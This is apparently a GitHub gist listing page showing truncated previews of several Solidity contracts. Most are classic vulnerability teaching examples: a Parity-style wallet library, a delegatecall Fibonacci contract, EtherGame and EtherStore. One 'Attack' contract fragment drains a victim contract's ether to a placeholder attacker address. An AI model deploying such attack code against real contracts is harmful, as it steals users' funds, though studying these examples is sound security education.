This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| pragma solidity ^0.8.16; | |
| import '@openzeppelin/contracts/token/ERC1155/ERC1155.sol'; | |
| import '@openzeppelin/contracts/access/Ownable.sol'; | |
| import '@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Supply.sol'; | |
| /// @title AVAXGods | |
| /// @notice This contract handles the token management and battle logic for the AVAXGods game |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| //SPDX-License-Identifier: MIT | |
| pragma solidity ^0.8.0; | |
| // x -----> | |
| // _______________ | |
| // y |____|____|_____ | |
| // |____|____|_____ | |
| // |____|____|_____ | |
| // |____|____|_____ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract Wallet is WalletEvents { | |
| ... | |
| // METHODS | |
| // gets called when no other function matches | |
| function() payable { | |
| // just being sent some cash? | |
| if (msg.value > 0) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract WalletLibrary is WalletEvents { | |
| ... | |
| // throw unless the contract is not yet initialized. | |
| modifier only_uninitialized { if (m_numOwners > 0) throw; _; } | |
| // constructor - just pass on the owner array to multiowned and | |
| // the limit to daylimit | |
| function initWallet(address[] _owners, uint _required, uint _daylimit) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract Attack { | |
| uint storageSlot0; // corresponds to fibonacciLibrary | |
| uint storageSlot1; // corresponds to calculatedFibNumber | |
| // fallback - this will run if a specified function is not found | |
| function() public { | |
| storageSlot1 = 0; // we set calculatedFibNumber to 0, so if withdraw | |
| // is called we don't send out any ether | |
| <attacker_address>.transfer(this.balance); // we take all the ether | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract FibonacciBalance { | |
| address public fibonacciLibrary; | |
| // the current Fibonacci number to withdraw | |
| uint public calculatedFibNumber; | |
| // the starting Fibonacci sequence number | |
| uint public start = 3; | |
| uint public withdrawalCounter; | |
| // the Fibonancci function selector | |
| bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)")); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // library contract - calculates Fibonacci-like numbers | |
| contract FibonacciLib { | |
| // initializing the standard Fibonacci sequence | |
| uint public start; | |
| uint public calculatedFibNumber; | |
| // modify the zeroth number in the sequence | |
| function setStart(uint _start) public { | |
| start = _start; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| // Source: | |
| // https://github.com/ensdomains/ens-contracts/blob/master/contracts/ethregistrar/StringUtils.sol | |
| pragma solidity >=0.8.4; | |
| library StringUtils { | |
| /** | |
| * @dev Returns the length of a given string | |
| * | |
| * @param s The string to measure the length of |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract EtherGame { | |
| uint public payoutMileStone1 = 3 ether; | |
| uint public mileStone1Reward = 2 ether; | |
| uint public payoutMileStone2 = 5 ether; | |
| uint public mileStone2Reward = 3 ether; | |
| uint public finalMileStone = 10 ether; | |
| uint public finalReward = 5 ether; | |
| uint public depositedWei; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| contract EtherStore { | |
| // initialize the mutex | |
| bool reEntrancyMutex = false; | |
| uint256 public withdrawalLimit = 1 ether; | |
| mapping(address => uint256) public lastWithdrawTime; | |
| mapping(address => uint256) public balances; | |
| function depositFunds() external payable { | |
| balances[msg.sender] += msg.value; |
NewerOlder